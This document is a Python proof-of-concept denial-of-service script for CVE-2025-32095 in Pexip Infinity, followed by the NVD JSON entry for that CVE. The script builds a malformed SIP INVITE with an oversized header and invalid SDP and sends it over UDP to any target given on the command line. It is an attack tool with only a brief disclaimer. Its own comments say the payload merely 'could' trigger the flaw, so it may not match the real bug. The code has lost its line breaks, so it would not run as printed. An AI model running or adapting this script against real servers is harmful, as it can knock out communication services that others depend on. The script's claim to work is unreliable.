CVE-2025-32095

#!/usr/bin/env python3 """ CVE-2025-32095 PoC - Pexip Infinity Signalling DoS This PoC demonstrates sending a malformed signalling message to trigger a software abort. Note: Use only for authorized security testing. """ import socket import struct import time def create_malformed_signalling_message(): """ Create a malformed signalling message that could trigger improper input validation in Pexip Infinity before version 37.0 """ # SIP-like malformed message targeting signalling component message = b"INVITE sip:[email protected] SIP/2.0\r\n" message += b"Via: SIP/2.0/UDP attacker.local;branch=z9hG4bK malformed\r\n" message += b"From: <sip:[email protected]>;tag=malformed_tag\r\n" message += b"To: <sip:[email protected]>\r\n" message += b"Call-ID: malformed_call_id_with_invalid_chars\r\n" message += b"CSeq: 1 INVITE\r\n" # Malformed header with excessive length or invalid characters message += b"X-Signalling-Data: " + b"A" * 10000 + b"\r\n" message += b"Content-Type: application/sdp\r\n" message += b"\r\n" # Malformed SDP with invalid attributes message += b"v=0\r\no=- malformed_session 12345 IN IP4 attacker.local\r\n" message += b"s=malformed\r\nc=IN IP4 attacker.local\r\n" message += b"t=0 0\r\n" message += b"m=video 0 RTP/AVP malformed\r\n" message += b"a=rtpmap:invalid payload_type\r\n" return message def send_exploit(target_ip, target_port=5060): """ Send the malformed signalling message to target """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) payload = create_malformed_signalling_message() print(f"[*] Sending malformed signalling message to {target_ip}:{target_port}") print(f"[*] Payload size: {len(payload)} bytes") try: sock.sendto(payload, (target_ip, target_port)) print("[+] Malformed message sent successfully") print("[+] If vulnerable, target should experience service disruption") except Exception as e: print(f"[-] Error sending payload: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-32095-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5060 send_exploit(target, port)

{"cve": {"id": "CVE-2025-32095", "sourceIdentifier": "[email protected]", "published": "2025-12-25T05:16:06.857", "lastModified": "2026-01-05T19:28:40.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pexip Infinity before 37.0 has improper input validation in signalling that allows a remote attacker to trigger a software abort via a crafted signalling message, resulting in a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pexip:pexip_infinity:*:*:*:*:*:*:*:*", "versionEndExcluding": "37.0", "matchCriteriaId": "BA1D2B99-A32E-49BB-A3C8-537376271781"}]}]}], "references": [{"url": "https://docs.pexip.com/admin/security_bulletins.htm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}